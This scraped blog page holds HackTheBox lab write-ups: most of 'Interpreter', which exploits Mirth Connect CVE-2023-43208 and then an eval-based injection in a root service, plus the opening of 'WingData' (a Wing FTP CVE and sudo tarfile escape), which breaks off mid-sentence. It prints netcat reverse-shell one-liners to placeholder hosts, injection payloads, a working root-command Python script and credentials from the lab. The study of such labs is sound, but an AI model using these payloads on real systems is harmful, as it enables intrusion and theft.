\u0026lt;type\u0026gt;STRING\u0026lt;/type\u0026gt;\\n \u0026lt;mappingName\u0026gt;mirth_type\u0026lt;/mappingName\u0026gt;\\n \u0026lt;/metaDataColumn\u0026gt;\\n \u0026lt;/metaDataColumns\u0026gt;\\n \u0026lt;attachmentProperties version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;type\u0026gt;None\u0026lt;/type\u0026gt;\\n \u0026lt;properties/\u0026gt;\\n \u0026lt;/attachmentProperties\u0026gt;\\n \u0026lt;resourceIds class=\u0026#34;linked-hash-map\u0026#34;\u0026gt;\\n \u0026lt;entry\u0026gt;\\n \u0026lt;string\u0026gt;Default Resource\u0026lt;/string\u0026gt;\\n \u0026lt;string\u0026gt;[Default Resource]\u0026lt;/string\u0026gt;\\n \u0026lt;/entry\u0026gt;\\n \u0026lt;/resourceIds\u0026gt;\\n \u0026lt;/properties\u0026gt;\\n\u0026lt;/channel\u0026gt; Converts HL7 → XML -\u0026gt; Forwards data to a notification endpoint -\u0026gt; Likely part of a patient intake workflow.\nAnd here is everything useful that we could extract from it:\nA local TCP listener at port 6661 listening on all interfaces 0.0.0.0 awaiting for data in HL7 format. An outbound base64 encoded XML template: xml\u0026lt;patient\u0026gt; \u0026lt;timestamp\u0026gt;\u0026lt;/timestamp\u0026gt; \u0026lt;sender_app\u0026gt;\u0026lt;/sender_app\u0026gt; \u0026lt;id\u0026gt;\u0026lt;/id\u0026gt; \u0026lt;firstname\u0026gt;\u0026lt;/firstname\u0026gt; \u0026lt;lastname\u0026gt;\u0026lt;/lastname\u0026gt; \u0026lt;birth_date\u0026gt;\u0026lt;/birth_date\u0026gt; \u0026lt;gender\u0026gt;\u0026lt;/gender\u0026gt; \u0026lt;/patient\u0026gt; An unauthenticated internal web service on port 54321 at http://127.0.0.1:54321/addPatient Content-Type: Treated as text/plain, which often bypasses standard XML validation filters that look for application/xml. Before the data is sent to the next stop, Mirth takes the messy HL7 message and \u0026ldquo;maps\u0026rdquo; specific pieces of it into variables. It extracts the Timestamp from the HL7 field MSH.7.1. It extracts the First Name and Last Name from PID.5.1 and PID.5.2 using the date_conversion() function. So now, before jumping on to the CVE, we already have too much to assume:\nImportant If our foothold user as access to that internal listener on 54321, we can try to inject malicious code within the XML on the addPatient endpoint to execute code in the context of the user running the service. It will convert our XML to HL7. But more into that later.\nFoothold - CVE-2023-43208 # Things I failed at first I wasted too much time trying to get a reverse shell, which always failed because I forgot we\u0026rsquo;re targetting an app written in Java.\nThat\u0026rsquo;s something to look for.\nSo using this POC:\nThis repo contains payloads to reverse shell in different contexts of java. But only one of them worked (The ${IFS} method didn\u0026rsquo;t).\n[failure]-Why it didn\u0026rsquo;t work in the first place Even though I found the correct payload, I was stuck for hours, just because I did a misplaced \u0026rsquo;\u0026rsquo; characters, of course it worked on my machine :D, but it cost me too much time because errors aren\u0026rsquo;t rendered back. Which put in a self-made rabbit hole.\nbash$ echo \u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc \u0026lt;ATTACKING IP\u0026gt; \u0026lt;LISTENEING PORT\u0026gt; \u0026gt;/tmp/f\u0026#39; | base64 $ python3 CVE-2023-43208.py -u https://$target -c \u0026#34;bash -c {echo,\u0026lt;your_payload\u0026gt;}|{base64,-d}|{bash,-i}\u0026#34; And we get a hitback to our listener. We can enhance our reverse shell using This method\nbashmirth@interpreter:/usr/local/mirthconnect$ whoami mirth mirth@interpreter:/usr/local/mirthconnect$ pwd /usr/local/mirthconnect mirth@interpreter:/usr/local/mirthconnect$ uname -a Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64 GNU/Linux mirth@interpreter:/usr/local/mirthconnect$ id uid=103(mirth) gid=111(mirth) groups=111(mirth) Post Exploitation - Information gathering # MySQL Database # After some enumeration, we can find a database credentials within the conf directory:\noutputmirth@interpreter:/usr/local/mirthconnect$# keystore keystore.path = ${dir.appdata}/keystore.jks keystore.storepass = 5GbU5HGTOOgE keystore.keypass = tAuJfQeXdnPw keystore.type = JCEKS # database credentials database.username = mirthdb database.password = MirthPass123! We can confirm a local database running on port 3306 which is the default for mysql which is also confirmed with which mysql:\nbashmirth@interpreter:/usr/local/mirthconnect$ ss -tulpn Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:54321 0.0.0.0:* tcp LISTEN 0 256 0.0.0.0:6661 0.0.0.0:* users:((\u0026#34;java\u0026#34;,pid=3515,fd=335)) tcp LISTEN 0 50 0.0.0.0:80 0.0.0.0:* users:((\u0026#34;java\u0026#34;,pid=3515,fd=327)) tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 50 0.0.0.0:443 0.0.0.0:* users:((\u0026#34;java\u0026#34;,pid=3515,fd=330)) tcp LISTEN 0 128 [::]:22 [::]:* Using those credentials:\nbash$ mysql -u mirthdb -p\u0026#39;MirthPass123!\u0026#39; -e \u0026#34;USE mc_bdd_prod; SHOW TABLES;\u0026#34; Tables_in_mc_bdd_prod ALERT CHANNEL CHANNEL_GROUP CODE_TEMPLATE CODE_TEMPLATE_LIBRARY CONFIGURATION DEBUGGER_USAGE D_CHANNELS D_M1 D_MA1 D_MC1 D_MCM1 D_MM1 D_MS1 D_MSQ1 EVENT PERSON PERSON_PASSWORD PERSON_PREFERENCE SCHEMA_INFO SCRIPT bash$ mysql -u mirthdb -p\u0026#39;MirthPass123!\u0026#39; -e \u0026#34;USE mc_bdd_prod; SELECT * FROM PERSON ID\tUSERNAME\tFIRSTNAME\tLASTNAME\tORGANIZATION\tINDUSTRY\tEMAIL\tPHONENUMBER\tDESCRIPTION\tLAST_LOGIN\tGRACE_PERIOD_START\tSTRIKE_COUNT\tLAST_STRIKE_TIME\tLOGGED_IN\tROLE\tCOUNTRY\tSTATETERRITORY\tUSERCONSENT 2\tsedric\tNULL\t2025-09-21 17:56:02\tNULL\t0\tNULL\t\\0\tNULL\tUnited States\tNULL\t0 It\u0026rsquo;s a bit messy so let\u0026rsquo;s limit the output:\nbash$ mysql -u mirthdb -p\u0026#39;MirthPass123!\u0026#39; -e \u0026#34;USE mc_bdd_prod; SELECT ID, USERNAME FROM PERSON\u0026#34; \u0026lt; \u0026#34;USE mc_bdd_prod; SELECT ID, USERNAME FROM PERSON\u0026#34; ID\tUSERNAME 2\tsedric Let\u0026rsquo;s get his password:\nbashmirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p\u0026#39;MirthPass123!\u0026#39; -e \u0026#34;USE mc_bdd_prod; SELECT * FROM PERSON_PASSWORD\u0026#34; \u0026lt;-e \u0026#34;USE mc_bdd_prod; SELECT * FROM PERSON_PASSWORD\u0026#34; PERSON_ID\tPASSWORD\tPASSWORD_DATE 2\tu/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==\t2025-09-19 09:22:28 mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p\u0026#39;MirthPass123!\u0026#39; -e \u0026#34;USE mc_bdd_prod; SELECT * FROM PERSON_PREFERENCE\u0026#34; \u0026lt; \u0026#34;USE mc_bdd_prod; SELECT * FROM PERSON_PREFERENCE\u0026#34; PERSON_ID\tNAME\tVALUE 2\tinitialTagsChannels\t2\tinitialTagsDashboard\t[success]-Loot for now So now we have sedric\u0026rsquo;s hashed password.\n[important] Note that the SCRIPT, ALERT, EVENT, SCHEMA_INFO, CONFIGURATION and PERSON_PREFERENCE tables were either empty, or filled with useless informations.\nWe can also retrieve the channel informations from the database and cross reference it with the webstart.jnlp we downloaded from the web app.\nbashmirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p\u0026#39;MirthPass123!\u0026#39; -e \u0026#34;USE mc_bdd_prod; CHANNEL FROM CHANNEL\u0026#34; Mistake The hash I retrieved gave me hard time to deal with and I didn\u0026rsquo;t work with it, I thought it\u0026rsquo;s a decoy or a rabbit hole, which was weird because we have ssh running, and it would be more logical to have the user via its password after cracking the hash.\nBelow is my solution.\nInternal Service Enumeration # Processes and Ports # We already found hints on the two internal listeners, let\u0026rsquo;s look into those:\nbashss -utlpne Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* ino:19464 sk:1 cgroup:/system.slice/networking.service \u0026lt;-\u0026gt; tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* uid:104 ino:20059 sk:2 cgroup:/system.slice/mariadb.service \u0026lt;-\u0026gt; tcp LISTEN 0 128 127.0.0.1:54321 0.0.0.0:* ino:20054 sk:3 cgroup:/system.slice/notif.service \u0026lt;-\u0026gt; tcp LISTEN 0 256 0.0.0.0:6661 0.0.0.0:* users:((\u0026#34;java\u0026#34;,pid=3515,fd=335)) uid:103 ino:20187 sk:4 cgroup:/system.slice/mcservice.service \u0026lt;-\u0026gt; tcp LISTEN 0 50 0.0.0.0:80 0.0.0.0:* users:((\u0026#34;java\u0026#34;,pid=3515,fd=327)) uid:103 ino:20185 sk:5 cgroup:/system.slice/mcservice.service \u0026lt;-\u0026gt; tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* ino:21505 sk:6 cgroup:/system.slice/ssh.service \u0026lt;-\u0026gt; tcp LISTEN 0 50 0.0.0.0:443 0.0.0.0:* users:((\u0026#34;java\u0026#34;,pid=3515,fd=330)) uid:103 ino:21853 sk:7 cgroup:/system.slice/mcservice.service \u0026lt;-\u0026gt; tcp LISTEN 0 128 [::]:22 [::]:* ino:21516 sk:8 cgroup:/system.slice/ssh.service v6only:1 \u0026lt;-\u0026gt; Here is more about listener at 54321:\nbashmirth@interpreter:/usr/local/mirthconnect$ systemctl status notif.service systemctl status notif.service ● notif.service - Notification server Loaded: loaded (/etc/systemd/system/notif.service; enabled; preset: enabled) Active: active (running) since Sun 2026-02-22 09:51:21 EST; 3h 10min ago Main PID: 3517 (python3) Tasks: 1 (limit: 4636) Memory: 26.1M CPU: 2.057s CGroup: /system.slice/notif.service └─3517 /usr/bin/python3 /usr/local/bin/notif.py mirth@interpreter:/usr/local/mirthconnect$ systemctl cat notif.service systemctl cat notif.service \\# /etc/systemd/system/notif.service [Unit] Description=Notification server After=network-online.target Wants=network-online.target [Service] Type=simple ExecStart=/usr/bin/python3 /usr/local/bin/notif.py Restart=always User=root WorkingDirectory=/usr/local/bin [Install] WantedBy=multi-user.target We can dig more into that notify.py script and confirm it\u0026rsquo;s running as root and we don\u0026rsquo;t access to it:\nbashmirth@interpreter:/usr/local/mirthconnect$ ps aux \u0026lt;REDACTED\u0026gt; root 3517 0.0 0.7 39872 30992 ? Ss 09:51 0:02 /usr/bin/python3 /usr/local/bin/notif.py First Interactions # bashmirth@interpreter:/usr/local/mirthconnect$ wget http://127.0.0.1:54321/addPatient HTTP request sent, awaiting response... 405 METHOD NOT ALLOWED 2026-02-22 06:00:58 ERROR 405: METHOD NOT ALLOWED. mirth@interpreter:/usr/local/mirthconnect$ wget http://127.0.0.1:54321/addPatient -X POST HTTP request sent, awaiting response... 405 METHOD NOT ALLOWED 2026-02-22 06:01:16 ERROR 405: METHOD NOT ALLOWED. Success I also tried with python and the error has changed, it\u0026rsquo;s not 405 anymore it\u0026rsquo;s 400. This means that the problem is in the data it expects, which is normal since we already know it waits for XML as we covered above.\nbashmirth@interpreter:/usr/local/mirthconnect$ python3 -c \u0026#39;import urllib.request; req = urllib.request.Request(\u0026#34;http://127.0.0.1:54321/addPatient\u0026#34;, data=b\u0026#34;test\u0026#34;, method=\u0026#34;POST\u0026#34;); print(urllib.request.urlopen(req).read())\u0026#39; \u0026lt;\u0026#34;POST\u0026#34;); print(urllib.request.urlopen(req).read())\u0026#39; \u0026lt;REDACTED\u0026gt; urllib.error.HTTPError: HTTP Error 400: BAD REQUEST Here is the XML format it expects:\nxml \u0026lt;patient\u0026gt; \u0026lt;timestamp\u0026gt;\u0026lt;/timestamp\u0026gt; \u0026lt;sender_app\u0026gt;\u0026lt;/sender_app\u0026gt; \u0026lt;id\u0026gt;\u0026lt;/id\u0026gt; \u0026lt;firstname\u0026gt;\u0026lt;/firstname\u0026gt; \u0026lt;lastname\u0026gt;\u0026lt;/lastname\u0026gt; \u0026lt;birth_date\u0026gt;\u0026lt;/birth_date\u0026gt; \u0026lt;gender\u0026gt;\u0026lt;/gender\u0026gt; \u0026lt;/patient\u0026gt; Successful Interaction # Here is a fine tuned request:\npythonimport urllib.request url = \u0026#34;http://127.0.0.1:54321/addPatient\u0026#34; payload = \u0026#34;\u0026#34;\u0026#34;\u0026lt;patient\u0026gt; \u0026lt;timestamp\u0026gt;20260222\u0026lt;/timestamp\u0026gt; \u0026lt;sender_app\u0026gt;MIRTH\u0026lt;/sender_app\u0026gt; \u0026lt;id\u0026gt;1337\u0026lt;/id\u0026gt; \u0026lt;firstname\u0026gt;EVIL\u0026lt;/firstname\u0026gt; \u0026lt;lastname\u0026gt;SAMIRLOUSSIF\u0026lt;/lastname\u0026gt; \u0026lt;birth_date\u0026gt;30/01/2000\u0026lt;/birth_date\u0026gt; \u0026lt;gender\u0026gt;M\u0026lt;/gender\u0026gt; \u0026lt;/patient\u0026gt;\u0026#34;\u0026#34;\u0026#34; req = urllib.request.Request(url, data=payload.encode(), method=\u0026#34;POST\u0026#34;) req.add_header(\u0026#34;Content-Type\u0026#34;, \u0026#34;text/plain\u0026#34;) try: with urllib.request.urlopen(req) as f: print(\u0026#34;Response:\u0026#34;, f.read().decode()) except Exception as e: print(\u0026#34;Error:\u0026#34;, e) This succesfully returns a user creation:\nAs we already mentioned above, the conversion uses the date_conversion() function. This is our next target, let\u0026rsquo;s see if it\u0026rsquo;s vulnerable.\nFinding the vulnerable fields to get RCE # Let\u0026rsquo;s see this function\u0026rsquo;s content:\nbashmirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p\u0026#39;MirthPass123!\u0026#39; -e \u0026#34;USE mc_bdd_prod; SELECT * FROM CODE_TEMPLATE;\u0026#34; Which give us this js code:\njavascriptfunction date_conversion(date) { \\ n if (date == null) { \\ n return \u0026amp; quot; \u0026amp; quot;;\\ n }\\ n\\ n // Force to string\\n var d = String(date);\\n\\n // Must be exactly 8 characters\\n if (d.length != 8) {\\n return \u0026amp;quot;\u0026amp;quot;;\\n }\\n\\n // Must be all digits\\n if (!/^\\\\d{8}$/.test(d)) {\\n return \u0026amp;quot;\u0026amp;quot;;\\n }\\n\\n // Expecting YYYYMMDD\\n var year = d.substr(0, 4);\\n var month = d.substr(4, 2);\\n var day = d.substr(6, 2);\\n\\n return day + \u0026amp;quot;/\u0026amp;quot; + month + \u0026amp;quot;/\u0026amp;quot; + year;\\n} This function is not vulnerable, so it\u0026rsquo;s not our target. More like, the Date field isn\u0026rsquo;t the target.\nImportant When you look at the Mirth Transformer steps for FIRSTNAME, LASTNAME, and ID, the mapping looks like this: msg[\u0026lsquo;PID\u0026rsquo;][\u0026lsquo;PID.5\u0026rsquo;][\u0026lsquo;PID.5.2\u0026rsquo;].toString() Here is what it does: It takes the HL7 data and converts it to a String with no sanitization. So, unlike the BIRTH_DATE field, which was wrapped in a date_conversion() function, these fields are passed as raw strings. The server response I received earlier followed a specific format Patient [firstname] [lastname] ([gender]), [age] years old... So the fact that the server creates a sentence and renders our input back, without actually sanitizing it correctly, is our go-to now.\nSSTI # Trial and Error: Command execution via SSTI # Now I\u0026rsquo;m targettig the firstame field in the XML. Since this script is running as root. Let\u0026rsquo;s try to exploit this RCE to execute system commands.\nHere are the payloads wrappers I tested:\n{{7*7}} ${} (()) This script is running as root. Let\u0026rsquo;s try to exploit this RCE to execute system commands.\nBasically, they all returned Errors, but this hit the spot:\n{__import__('platform').popen('id').read()} Which returned Response: [EVAL_ERROR] module 'platform' has no attribute 'popen'. \u0026lt;firstname\u0026gt;{test}\u0026lt;/firstname\u0026gt; Which returned Response: [EVAL_ERROR] name 'test' is not defined \u0026lt;firstname\u0026gt;{{test}}\u0026lt;/firstname\u0026gt;. Which returned Response: [EVAL_ERROR] name 'test' is not defined. Findings So, the backend code is deprecating the first {} wrappers and then evaluating the code inside using eval() function. This is our target.\nSSTI to RCE: Root Access # Here is a workaround from Snyk\u0026rsquo;s blog post:\n{__import__(\u0026quot;os\u0026quot;).popen(\u0026quot;id\u0026quot;).read()}. Which returned Response: Patient uid=0(root) gid=0(root) groups=0(root) SAMIRLOUSSIF (M), 26 years old, received from MIRTH at 20260222 Rooted So we succesfully have RCE now, we can simply read both flags, no need for a reverse shell.\npythonimport urllib.request import base64 url = \u0026#34;http://127.0.0.1:54321/addPatient\u0026#34; cmd = \u0026#34;cat /root/root.txt; cat /home/sedric/user.txt\u0026#34; encoded_cmd = base64.b64encode(cmd.encode()).decode() payload = f\u0026#34;\u0026#34;\u0026#34;\u0026lt;patient\u0026gt; \u0026lt;timestamp\u0026gt;20260222\u0026lt;/timestamp\u0026gt; \u0026lt;sender_app\u0026gt;MIRTH\u0026lt;/sender_app\u0026gt; \u0026lt;id\u0026gt;1337\u0026lt;/id\u0026gt; \u0026lt;firstname\u0026gt;{{__import__(\u0026#39;os\u0026#39;).popen(__import__(\u0026#39;base64\u0026#39;).b64decode(\u0026#39;{encoded_cmd}\u0026#39;).decode()).read()}}\u0026lt;/firstname\u0026gt; \u0026lt;lastname\u0026gt;SAMIRLOUSSIF\u0026lt;/lastname\u0026gt; \u0026lt;birth_date\u0026gt;30/01/2000\u0026lt;/birth_date\u0026gt; \u0026lt;gender\u0026gt;M\u0026lt;/gender\u0026gt; \u0026lt;/patient\u0026gt;\u0026#34;\u0026#34;\u0026#34; req = urllib.request.Request(url, data=payload.encode(), method=\u0026#34;POST\u0026#34;) req.add_header(\u0026#34;Content-Type\u0026#34;, \u0026#34;text/plain\u0026#34;) try: with urllib.request.urlopen(req) as f: print(\u0026#34;Response:\u0026#34;, f.read().decode()) except Exception as e: print(\u0026#34;Error:\u0026#34;, e) Simply launching the script gives us both flags.\n","date":"22 February 2026","externalUrl":null,"permalink":"/writeups/htb-interpreter/","section":"Writeups","summary":"Medium-rated HackTheBox Linux Lab.","title":"HackTheBox Interpreter","type":"writeups"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/hl7/","section":"Tags","summary":"","title":"Hl7","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/internal-service/","section":"Tags","summary":"","title":"Internal-Service","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/os/linux/","section":"Os","summary":"","title":"Linux","type":"os"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/difficulty/medium/","section":"Difficulty","summary":"","title":"Medium","type":"difficulty"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/mirth-connect/","section":"Tags","summary":"","title":"Mirth-Connect","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/mysql/","section":"Tags","summary":"","title":"Mysql","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/os/","section":"Os","summary":"","title":"Os","type":"os"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/os-command-injection/","section":"Tags","summary":"","title":"Os-Command-Injection","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/privilege-escalation/","section":"Tags","summary":"","title":"Privilege-Escalation","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/python/","section":"Tags","summary":"","title":"Python","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/rce/","section":"Tags","summary":"","title":"Rce","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/reverse-shell/","section":"Tags","summary":"","title":"Reverse-Shell","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/root/","section":"Tags","summary":"","title":"Root","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/ssti/","section":"Tags","summary":"","title":"Ssti","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/tcp-6661/","section":"Tags","summary":"","title":"Tcp-6661","type":"tags"},{"content":" Hello there! Here is your navigation guide. You can find my writeups for :\nHackTheBox Labs. TryHackMe Rooms. HackTheBox Sherlocks (Not yet included 🤓). You can navigate the content via the taxonomies:\nTags: White colored. Difficulty of the Lab: Green. Lab Provider: Depends on the platform.. OS of the target Lab: Blue for Windows, Yellow for Linux. Clicking on the specific tag will filter and group the writeups that cover that specific theme or technology the taxanomy mentions.\nYou can filter by:\nTags at /tags. Tags Operating Systems attacked at /os. os Difficulties played at /difficulty. difficulties Playground played at /category. platforms ","date":"22 February 2026","externalUrl":null,"permalink":"/writeups/","section":"Writeups","summary":"","title":"Writeups","type":"writeups"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/xml-injection/","section":"Tags","summary":"","title":"Xml-Injection","type":"tags"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/category/","section":"Category","summary":"","title":"Category","type":"category"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/tags/credential-reuse/","section":"Tags","summary":"","title":"Credential-Reuse","type":"tags"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/tags/cve-2025-4517/","section":"Tags","summary":"","title":"Cve-2025-4517","type":"tags"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/tags/cve-2025-47812/","section":"Tags","summary":"","title":"Cve-2025-47812","type":"tags"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/difficulty/easy/","section":"Difficulty","summary":"","title":"Easy","type":"difficulty"},{"content":"","date":"15 February 2026","externalUrl":null,"permalink":"/category/hackthebox/","section":"Category","summary":"","title":"HackTheBox","type":"category"},{"content":" TL;DR # Kill Chain The machine was fun, straightforward and simple if you look at the right places.\nFoothold: Exploited CVE-2025-47812 in Wing FTP Server v7.4.3 to gain a shell as the wingftp user. Lateral Movement: Recovered a salted SHA-256 hash for the user wacky from server files. Cracked the hash using the default salt (WingFTP) to gain SSH access. Privilege Escalation: Identified a sudo misconfiguration allowing the execution of a Python restoration script. Leveraged CVE-2025-4517 to bypass Python\u0026rsquo;s tarfile data filter. Used a path-length overflow in a malicious tarball, escaped the extraction directory to overwrite /etc/sudoers. Enumeration # bash$target=10.129.6.208 $echo \u0026#34;$target wingdata.htb\u0026#34; | sudo tee -a /etc/hosts Nmap # bash$nmap -sV -sC -vv -Pn -T4 -oN nmap_default $target PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 a1fa958bd7560385e445c9c71eba283b (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL+8LZAmzRfTy+4t8PJxEvRWhPho8aZj9ImxRfWn9TKepkxh8pAF3WDu55pd/gaSUGIo9cuOvv+3r6w7IuCpqI4= | 256 9cba211a972f3a6473c14c1dce657a2f (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFmcxflCAAe4LPgkg7hOxJen41bu6zaE/y08UnA4oRp 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.66 |_http-server-header: Apache/2.4.66 (Debian) | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-title: WingData Solutions Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel Failure A ran a full ports scan in the background but no unusual ports were found. Also noting running UDP.\nFfuf # Fuzzing for directories didn\u0026rsquo;t show anything useful. Let\u0026rsquo;s see if we have any vhosts:\nbash$ffuf -ic -c -v -w `fzf-wordlists`:FUZZ -u \u0026#34;http://wingdata.htb\u0026#34; -H \u0026#34;Host: FUZZ.wingdata.htb\u0026#34; -fw 21 :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-20000.txt :: Header : Host: FUZZ.wingdata.htb :: Filter : Response words: 21 ________________________________________________ [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 105ms] | URL | http://wingdata.htb * FUZZ: ftp And we should add that to our /etc/hosts.\nFoothold - wingftp user # Now let\u0026rsquo;s visit the website:\n.\nA file sharing platform? Makes sense.\nVisiting the client portal leads us to http://ftp.wingdata.htb/login.html?lang=english. And a version number: Wing FTP Server v7.4.3\nWhich is vulnerable to CVE-2025-47812 for which we can find this POC:\nbashpython3 cve.py -u http://ftp.wingdata.htb -c \u0026#39;busybox nc \u0026lt;ip\u0026gt; 9443 -e sh\u0026#39; -v [*] Testing target: http://ftp.wingdata.htb [+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: \u0026#39;busybox nc \u0026lt;ip\u0026gt; 9443 -e sh\u0026#39; and username: \u0026#39;anonymous\u0026#39; [+] UID extracted: dc3a3bf1e69edc9eafcb923960764150f528764d624db129b32c21fbca0cb8d6 [+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: dc3a3bf1e69edc9eafcb923960764150f528764d624db129b32c21fbca0cb8d6 [-] Error sending GET request to http://ftp.wingdata.htb/dir.html: HTTPConnectionPool(host=\u0026#39;ftp.wingdata.htb\u0026#39;, port=80): Read timed out. (read timeout=10) And we get a hit back on our listener as user wingftp.\nI foudn the Data/settings.xml file to contain a server hashed password: 2D35A8D420A697203D7C554A678F8119\nWhich is identified as an MD5 hash but coudln\u0026rsquo;t be cracked.\nHere also another valuable information:\nThe useful info we can get is from wacky.xml which contains a password hash:\n32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca\nThe hash couldn\u0026rsquo;t be identified, so based on the default documentation:\nThe default salt is WingFTP.\nbashecho 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WinFTP \u0026gt; hash Which is cracked to !#7Blushing^*Bride5.\nUser Flag # bashssh wacky@wingdata.htb Success User Flag Owned!\nPrivilege Escalation # Sudo Privileges # First thigns first:\nbashwacky@wingdata:~$ sudo -l Matching Defaults entries for wacky on wingdata: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py * We can read the script:\npython#!/usr/bin/env python3 import tarfile import os import sys import re import argparse BACKUP_BASE_DIR = \u0026#34;/opt/backup_clients/backups\u0026#34; STAGING_BASE = \u0026#34;/opt/backup_clients/restored_backups\u0026#34; def validate_backup_name(filename): if not re.fullmatch(r\u0026#34;^backup_\\d+\\.tar$\u0026#34;, filename): return False client_id = filename.split(\u0026#39;_\u0026#39;)[1].rstrip(\u0026#39;.tar\u0026#39;) return client_id.isdigit() and client_id != \u0026#34;0\u0026#34; def validate_restore_tag(tag): return bool(re.fullmatch(r\u0026#34;^[a-zA-Z0-9_]{1,24}$\u0026#34;, tag)) def main(): parser = argparse.ArgumentParser( description=\u0026#34;Restore client configuration from a validated backup tarball.\u0026#34;, epilog=\u0026#34;Example: sudo %(prog)s -b backup_1001.tar -r restore_john\u0026#34; ) parser.add_argument( \u0026#34;-b\u0026#34;, \u0026#34;--backup\u0026#34;, required=True, help=\u0026#34;Backup filename (must be in /home/wacky/backup_clients/ and match backup_\u0026lt;client_id\u0026gt;.tar, \u0026#34; \u0026#34;where \u0026lt;client_id\u0026gt; is a positive integer, e.g., backup_1001.tar)\u0026#34; ) parser.add_argument( \u0026#34;-r\u0026#34;, \u0026#34;--restore-dir\u0026#34;, required=True, help=\u0026#34;Staging directory name for the restore operation. \u0026#34; \u0026#34;Must follow the format: restore_\u0026lt;client_user\u0026gt; (e.g., restore_john). \u0026#34; \u0026#34;Only alphanumeric characters and underscores are allowed in the \u0026lt;client_user\u0026gt; part (1–24 characters).\u0026#34; ) args = parser.parse_args() if not validate_backup_name(args.backup): print(\u0026#34;[!] Invalid backup name. Expected format: backup_\u0026lt;client_id\u0026gt;.tar (e.g., backup_1001.tar)\u0026#34;, file=sys.stderr) sys.exit(1) backup_path = os.path.join(BACKUP_BASE_DIR, args.backup) if not os.path.isfile(backup_path): print(f\u0026#34;[!] Backup file not found: {backup_path}\u0026#34;, file=sys.stderr) sys.exit(1) if not args.restore_dir.startswith(\u0026#34;restore_\u0026#34;): print(\u0026#34;[!] --restore-dir must start with \u0026#39;restore_\u0026#39;\u0026#34;, file=sys.stderr) sys.exit(1) tag = args.restore_dir[8:] if not tag: print(\u0026#34;[!] --restore-dir must include a non-empty tag after \u0026#39;restore_\u0026#39;\u0026#34;, file=sys.stderr) sys.exit(1) if not validate_restore_tag(tag): print(\u0026#34;[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores\u0026#34;, file=sys.stderr) sys.exit(1) staging_dir = os.path.join(STAGING_BASE, args.restore_dir) print(f\u0026#34;[+] Backup: {args.backup}\u0026#34;) print(f\u0026#34;[+] Staging directory: {staging_dir}\u0026#34;) os.makedirs(staging_dir, exist_ok=True) try: with tarfile.open(backup_path, \u0026#34;r\u0026#34;) as tar: tar.extractall(path=staging_dir, filter=\u0026#34;data\u0026#34;) print(f\u0026#34;[+] Extraction completed in {staging_dir}\u0026#34;) except (tarfile.TarError, OSError, Exception) as e: print(f\u0026#34;[!] Error during extraction: {e}\u0026#34;, file=sys.stderr) sys.exit(2) if __name__ == \u0026#34;__main__\u0026#34;: main() CVE-2025-4517 # Which shows a vulnerablity and a CVE.:\nThe script uses the 